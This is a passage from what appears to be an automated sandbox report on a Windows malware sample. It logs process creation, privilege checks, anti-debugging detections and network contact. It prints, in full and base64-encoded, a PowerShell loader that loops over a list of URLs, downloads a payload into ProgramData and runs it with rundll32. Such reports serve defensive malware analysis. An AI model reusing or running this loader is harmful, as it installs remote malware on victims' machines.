EEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAEEAQQB1AEEARABJAEEATgBBAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATQBRAEEAPQBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AdwBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQQA9AD0AIgA7AA=="

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW May 24, 2023, 4:57 p.m.	show_type: 0 filepath_r: wscript parameters: "C:\ProgramData\dummered.js" impresas santalic filepath: wscript	1	1	0
ShellExecuteExW May 24, 2023, 4:57 p.m.	show_type: 0 filepath_r: powershell parameters: -encodedcommand "JABlAGsAcgBvAG4AaQB0AGUATgBvAG4AcgBlAHQAaQByAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAxAEEARwA0AEEAYwBBAEIAcwBBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBaAFEAQgBrAEEARQBVAEEAYwBRAEIAMQBBAEcAawBBAGMAdwBCAGwAQQBIAFEAQQBZAFEAQgBqAEEARwBVAEEAWQBRAEIAbABBAEMANABBAFkAZwBCAGwAQQBBAD0APQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBnAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQA0AEEARABJAEEATABnAEEANQBBAEQAVQBBAHIAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA1AEEAQwA0AEEATwBRAEEAegBBAEMANABBAE0AZwBBAHcAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgBnAEEAPQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYgB3AEIAMgBBAEcAawBBAFoAUQBCADAAQQBHAGsAQQBZAHcAQQB1AEEARwBJAEEAYwBnAEIAMQBBAEgATQBBAGMAdwBCAGwAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAEIAZQB0AHUAbABhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEARwA0AEEAYQBBAEIANQBBAEcAUQBBAGMAZwBCAHYAQQBIAFUAQQBjAHcAQQB1AEEARwBNAEEAWQBRAEIAbQBBAEcAVQBBAFcARABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEgASQBBAGIAdwBCAHAAQQBIAE0AQQBZAFEAQgBrAEEAQwA0AEEAZQBRAEIAdgBBAEcAYwBBAFkAUQBBAD0AVwBEAEMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWgBRAEIAdgBBAEcASQBBAGIAdwBCADAAQQBHAEUAQQBiAGcAQgBwAEEARwBNAEEAWQBRAEIAcwBBAEYAQQBBAFkAUQBCAHMAQQBHAEUAQQBaAFEAQgB6AEEASABRAEEAYwBnAEIAcABBAEcARQBBAGIAZwBBAHUAQQBIAE0AQQBkAEEAQgAxAEEARwBRAEEAYQBRAEIAdgBBAEEAPQA9ACIAOwAkAGkAbQBtAGEAbgB0AGwAaQBuAGcAUwBjAHIAaQBiAGEAYgBsAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABJAEEATQBnAEEAeQBBAEMANABBAE4AUQBBADIAQQBDADQAQQBOAGcAQQAzAEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAEUAQQBkAEEAQgB0AEEARwBFAEEAYgBnAEEAdQBBAEcAVQBBAFoAQQBCADEAQQBHAE0AQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9AHQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBVAEEAYwBRAEIAMQBBAEcARQBBAGQAQQBCAHYAQQBIAEkAQQBkAHcAQgBoAEEASABJAEEAWgBBAEIAVABBAEgAawBBAGMAZwBCAHQAQQBHAEUAQQBaAFEAQgBoAEEAQwA0AEEAYwB3AEIAMQBBAEgAQQBBAGMAQQBCAHMAQQBHAGsAQQBaAFEAQgB6AEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAEEAQQAyAEEAQwA0AEEATgBRAEEAegBBAEMANABBAE0AZwBBADAAQQBEAE0AQQBMAGcAQQB5AEEARABNAEEATQBRAEEAPQAiADsAJABTAGUAbQBpAHMAZQBjAHIAZQBjAHkAUwBsAGkAcABmAG8AcgBtAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBRAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFEAQQBMAGcAQQAwAEEARABNAEEATABnAEEAeABBAEQASQBBAE4AUQBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABjAEEAYgB3AEIAaABBAEcAUQBBAGQAdwBCAGgAQQBIAGcAQQBaAFEAQgB6AEEARQBNAEEAYQBBAEIAaABBAEcANABBAGMAdwBCAHYAQQBHADQAQQBjAHcAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBnAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAGcAQQB4AEEARABnAEEATABnAEEAeABBAEQAUQBBAE4AdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBFAEEAYgBRAEIAaABBAEgASQBBAFoAdwBCAHYAQQBIAE0AQQBZAFEAQgBSAEEASABVAEEAYQBRAEIAaQBBAEgAVQBBAGMAdwBBAHUAQQBHAE0AQQBiAGcAQQA9ACIAOwAkAGYAcgBpAGcAaAB0AGYAdQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBRAEEAdQBBAEQARQBBAE8AQQBBAHoAQQBDADQAQQBNAFEAQQB4AEEARABrAEEATABnAEEAMQBBAEQATQBBAEwAdwBCAHMAQQBHAGcAQQBSAFEAQQB2AEEARABjAEEAVQBRAEEAMgBBAEgAawBBAFMAdwBBAD0AawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEEAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAdQBBAEQAZwBBAE4AZwBBAHUAQQBEAEUAQQBOAEEAQQA0AEEAQwA4AEEAYgB3AEEAdgBBAEQATQBBAGsAVwB1AHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATwBRAEEAeQBBAEMAOABBAFMAZwBCAFUAQQBHAGsAQQBMAHcAQgBDAEEARwBZAEEAYwB3AEEANABBAEcAYwBBAE0AQQBCADIAQQBFADAAQQBlAGcAQgBSAEEASABrAEEAawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AUQBBADAAQQBDADQAQQBNAFEAQQAzAEEARABrAEEATAB3AEIARQBBAEcAVQBBAGEAdwBCAFAAQQBGAEEAQQBaAHcAQQB2AEEARABjAEEAZQBRAEIAQgBBAEYAUQBBAFYAZwBBAD0AawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA0AEEAQwA4AEEATwBRAEIARABBAEcAMABBAE8AUQBCAEYAQQBGAGMAQQBMAHcAQQA1AEEARQA0AEEAYgBRAEIATwBBAEgAbwBBAFIAUQBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAVABhAHcAZABlAHIAZQBkAFAAcgBvAHIAcwBhAGQAIABpAG4AIAAkAGYAcgBpAGcAaAB0AGYAdQBsACAALQBzAHAAbABpAHQAIAAiAGsAVwB1AHgAIgApACAAewAkAFIAZQBjAGUAcAB0AG8AcgBzAEEAbgBvAG0AcABoAGEAbABvAHUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHcAQQBDADQAQQBNAFEAQQB5AEEARABFAEEATABnAEEAeQBBAEQAUQBBAE0AUQBBAHUAQQBEAEUAQQBOAGcAQQAyAEEAQQA9AD0AUwBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAVQBBAGQAUQBCAHkAQQBHADgAQQBhAFEAQgBrAEEAQwA0AEEAYwBBAEIAaABBAEgASQBBAGQAQQBCADUAQQBBAD0APQBTAGUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBJAEEAWgBRAEIAMgBBAEcARQBBAFkAdwBCAGoAQQBHAGsAQQBiAGcAQgBoAEEASABRAEEAWgBRAEIATgBBAEcAawBBAGMAdwBCAHIAQQBHAGsAQQBiAGcAQQB1AEEARwBNAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQA9AFMAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAFEAQQBkAFEAQgB0AEEARwBJAEEAYgBBAEIAbABBAEcASQBBAGQAUQBCAG4AQQBFAE0AQQBkAFEAQgB6AEEASABBAEEAWQBRAEIAMABBAEcAVQBBAEwAZwBCAHMAQQBHAGsAQQBiAFEAQgBwAEEASABRAEEAWgBRAEIAawBBAEEAPQA9ACIAOwB0AHIAeQAgAHsAJAB2AGkAbwBsAG8AbgBjAGUAbABsAGkAcwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBZAFEAQgA1AEEARwB3AEEAYgB3AEIAbQBBAEgAUQBBAGMAdwBBAHUAQQBHADQAQQBaAFEAQgAzAEEASABNAEEAIgA7ACQAYQBsAGwAbwB0AGUAbABsAHUAcgBpAGMAUwBhAGwAaQBhAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVABhAHcAZABlAHIAZQBkAFAAcgBvAHIAcwBhAGQAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABhAGwAbABvAHQAZQBsAGwAdQByAGkAYwBTAGEAbABpAGEAbgAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAeQBsAGEAbgBkAC4AZwBsAG8AcwBzAG0AZQB0AGUAcgA7ACQAVAByAGkAYwBrAHMAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB2AEEARwBRAEEAYgB3AEIAdQBBAEgAUQBBAGIAdwBCAHkAQQBIAFEAQQBhAEEAQgB2AEEASABNAEEAYQBRAEIAegBBAEUASQBBAGMAZwBCAGgAQQBHAFEAQQBlAFEAQgBzAEEARwBFAEEAYgBBAEIAcABBAEcARQBBAEwAZwBCAG8AQQBIAFEAQQBRAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQAawBBAE0AQQBBAHUAQQBEAEkAQQBOAFEAQQB3AEEAQwA0AEEATQBRAEEAMwBBAEQARQBBACIAOwAkAEMAaQBjAG8AcgBlAGUAQwBoAG8AbgBkAHIAaQBvAHMAcABoAGUAcgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABFAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATABnAEEANABBAEQAQQBBACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFcAYQB5AGwAYQBuAGQALgBnAGwAbwBzAHMAbQBlAHQAZQByACkALgBMAGUAbgBnAHQAaAAgAC0AZwBlACAAMgA3ADYANQA5ADUAKQB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAQQBBAGMAZwBCAHYAQQBHAGMAQQBjAGcAQgBoAEEARwAwAEEAUgBBAEIAaABBAEgAUQBBAFkAUQBCAGMAQQBGAGMAQQBZAFEAQgA1AEEARwB3AEEAWQBRAEIAdQBBAEcAUQBBAEwAZwBCAG4AQQBHAHcAQQBiAHcAQgB6AEEASABNAEEAYgBRAEIAbABBAEgAUQBBAFoAUQBCAHkAQQBDAHcAQQBkAGcAQgBwAEEASABBAEEAYwB3AEEANwBBAEUAMABBAFMAUQBCAFUAQQBFAHcAQQBhAFEAQgBqAEEARwBVAEEAYgBnAEIAegBBAEcAVQBBACIAOwAkAHUAbgBkAGkAcwBnAG8AcgBnAGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAeQBBAEcAVQBBAFkAdwBCAHYAQQBHADQAQQBjAHcAQgAxAEEARwB3AEEAZABBAEIAUABBAEgAVQBBAGQAQQBCAHoAQQBIAFEAQQBkAFEAQgBrAEEASABrAEEATABnAEIAbwBBAEcANABBAHYAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQB4AEEAQwA0AEEATwBRAEEANQBBAEMANABBAE0AUQBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATgBRAEEAPQAiADsAJABjAHIAYQBuAGkAbwBsAG8AZwBpAHMAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE4AQQBBAHUAQQBEAEkAQQBNAHcAQQAxAEEAQwA0AEEATQBRAEEAMABBAEQAQQBBAEwAZwBBADUAQQBEAGsAQQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYQBRAEIAbQBBAEcAWQBBAFoAUQBCAHkAQQBHAFUAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEIAaQBBAEcAawBBAGIAQQBCAHAAQQBIAFEAQQBlAFEAQQB1AEEASABRAEEAYgB3AEEAPQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAawBBAEgAYwBBAFkAUQBCAHkAQQBHAFUAQQBjAHcAQgBWAEEASABJAEEAYgB3AEIAdABBAEcARQBBAGIAZwBCADAAQQBHAGsAQQBZAFEAQQB1AEEASABNAEEAZABRAEIAdwBBAEgAQQBBAGIAQQBCADUAQQBBAD0APQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWQBRAEIAcwBBAEcAdwBBAFoAUQBCADAAQQBDADQAQQBhAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEcANABBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEARwBFAEEAYgBBAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewAkAEIAcgBlAHYAaQByAG8AcwB0AHIAaQBuAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEgAawBBAFkAUQBCADAAQQBHAGcAQQBhAFEAQQB1AEEASABNAEEAYQBBAEIAdgBBAEgAQQBBAHEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABRAEEATQB3AEEAdQBBAEQAWQBBAE0AQQBBAHUAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATgBBAEEANABBAEEAPQA9ACIAOwAkAE8AdQB0AGYAaQBnAGgAdABpAG4AZwBDAGEAcgByAHkAYwBvAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBiAHcAQgB6AEEASABRAEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAHUAQQBHADAAQQBhAFEAQgBoAEEARwAwAEEAYQBRAEEAPQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AdwBBAHUAQQBEAEUAQQBOAEEAQQB6AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAEwAZwBBADMAQQBEAEUAQQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAVQBBAEwAZwBBAHkAQQBEAEUAQQBPAFEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE4AdwBBAHoAQQBBAD0APQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AQQBBAHUAQQBEAEUAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQA9ACIAOwAkAEYAbABhAHYAZQBkAG8AQQBsAGMAbwBoAG8AbABvAG0AZQB0AHIAaQBjAGEAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AZwBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATgB3AEEAMgBBAEMANABBAE0AUQBBAHgAQQBEAEkAQQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMABBAEcAZwBBAGMAZwBCAGwAQQBHAEUAQQBkAGcAQgBsAEEAQwA0AEEAWgBRAEIANABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBaAEEAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBRAEEAZABRAEIAegBBAEgATQBBAFoAUQBCAHkAQQBIAE0AQQBRAHcAQgBvAEEARwBrAEEAWQBRAEIAeQBBAEcAOABBAGMAdwBCAGoAQQBIAFUAQQBjAGcAQgBwAEEASABNAEEAZABBAEEAdQBBAEgAUQBBAGIAdwBCAHcAQQBBAD0APQAiADsAfQB9ACQAUgB1AGMAawB1AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGsAQQBiAFEAQgB0AEEARwBFAEEAZABBAEIAbABBAEgASQBBAGEAUQBCAGgAQQBHAHcAQQBiAEEAQgA1AEEAQwA0AEEAYQBnAEIAdwBBAEEAPQA9AHEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAE0AQQBHAFUAQQBkAGcAQgBoAEEARwA0AEEAZABBAEIAbABBAEgASQBBAFkAUQBBAHUAQQBHADQAQQBjAGcAQgAzAEEAQQA9AD0AIgA7ACQAZQBuAGMAYQB1AHMAdABlAHMAVABlAGwAbwBkAGUAbgBkAHIAbwBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABrAEEATgBBAEEAdQBBAEQASQBBAE0AUQBBADEAQQBDADQAQQBNAFEAQQAyAEEARABNAEEATABnAEEAeABBAEQAZwBBAE4AdwBBAD0AaABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAEEAQQB1AEEARABJAEEATgBBAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATQBRAEEAPQBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AdwBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQQA9AD0AIgA7AA==" filepath: powershell	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 24, 2023, 5:03 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (16 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

117.18.232.200

One or more non-whitelisted processes were created (4 events)

parent_process	wscript.exe	martian_process	powershell -encodedcommand "JABlAGsAcgBvAG4AaQB0AGUATgBvAG4AcgBlAHQAaQByAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAxAEEARwA0AEEAYwBBAEIAcwBBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBaAFEAQgBrAEEARQBVAEEAYwBRAEIAMQBBAEcAawBBAGMAdwBCAGwAQQBIAFEAQQBZAFEAQgBqAEEARwBVAEEAWQBRAEIAbABBAEMANABBAFkAZwBCAGwAQQBBAD0APQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBnAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQA0AEEARABJAEEATABnAEEANQBBAEQAVQBBAHIAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA1AEEAQwA0AEEATwBRAEEAegBBAEMANABBAE0AZwBBAHcAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgBnAEEAPQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYgB3AEIAMgBBAEcAawBBAFoAUQBCADAAQQBHAGsAQQBZAHcAQQB1AEEARwBJAEEAYwBnAEIAMQBBAEgATQBBAGMAdwBCAGwAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAEIAZQB0AHUAbABhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEARwA0AEEAYQBBAEIANQBBAEcAUQBBAGMAZwBCAHYAQQBIAFUAQQBjAHcAQQB1AEEARwBNAEEAWQBRAEIAbQBBAEcAVQBBAFcARABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEgASQBBAGIAdwBCAHAAQQBIAE0AQQBZAFEAQgBrAEEAQwA0AEEAZQBRAEIAdgBBAEcAYwBBAFkAUQBBAD0AVwBEAEMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWgBRAEIAdgBBAEcASQBBAGIAdwBCADAAQQBHAEUAQQBiAGcAQgBwAEEARwBNAEEAWQBRAEIAcwBBAEYAQQBBAFkAUQBCAHMAQQBHAEUAQQBaAFEAQgB6AEEASABRAEEAYwBnAEIAcABBAEcARQBBAGIAZwBBAHUAQQBIAE0AQQBkAEEAQgAxAEEARwBRAEEAYQBRAEIAdgBBAEEAPQA9ACIAOwAkAGkAbQBtAGEAbgB0AGwAaQBuAGcAUwBjAHIAaQBiAGEAYgBsAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABJAEEATQBnAEEAeQBBAEMANABBAE4AUQBBADIAQQBDADQAQQBOAGcAQQAzAEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAEUAQQBkAEEAQgB0AEEARwBFAEEAYgBnAEEAdQBBAEcAVQBBAFoAQQBCADEAQQBHAE0AQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9AHQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBVAEEAYwBRAEIAMQBBAEcARQBBAGQAQQBCAHYAQQBIAEkAQQBkAHcAQgBoAEEASABJAEEAWgBBAEIAVABBAEgAawBBAGMAZwBCAHQAQQBHAEUAQQBaAFEAQgBoAEEAQwA0AEEAYwB3AEIAMQBBAEgAQQBBAGMAQQBCAHMAQQBHAGsAQQBaAFEAQgB6AEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAEEAQQAyAEEAQwA0AEEATgBRAEEAegBBAEMANABBAE0AZwBBADAAQQBEAE0AQQBMAGcAQQB5AEEARABNAEEATQBRAEEAPQAiADsAJABTAGUAbQBpAHMAZQBjAHIAZQBjAHkAUwBsAGkAcABmAG8AcgBtAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBRAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFEAQQBMAGcAQQAwAEEARABNAEEATABnAEEAeABBAEQASQBBAE4AUQBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABjAEEAYgB3AEIAaABBAEcAUQBBAGQAdwBCAGgAQQBIAGcAQQBaAFEAQgB6AEEARQBNAEEAYQBBAEIAaABBAEcANABBAGMAdwBCAHYAQQBHADQAQQBjAHcAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBnAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAGcAQQB4AEEARABnAEEATABnAEEAeABBAEQAUQBBAE4AdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBFAEEAYgBRAEIAaABBAEgASQBBAFoAdwBCAHYAQQBIAE0AQQBZAFEAQgBSAEEASABVAEEAYQBRAEIAaQBBAEgAVQBBAGMAdwBBAHUAQQBHAE0AQQBiAGcAQQA9ACIAOwAkAGYAcgBpAGcAaAB0AGYAdQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBRAEEAdQBBAEQARQBBAE8AQQBBAHoAQQBDADQAQQBNAFEAQQB4AEEARABrAEEATABnAEEAMQBBAEQATQBBAEwAdwBCAHMAQQBHAGcAQQBSAFEAQQB2AEEARABjAEEAVQBRAEEAMgBBAEgAawBBAFMAdwBBAD0AawBXAHUAeABhAEEAQgAwA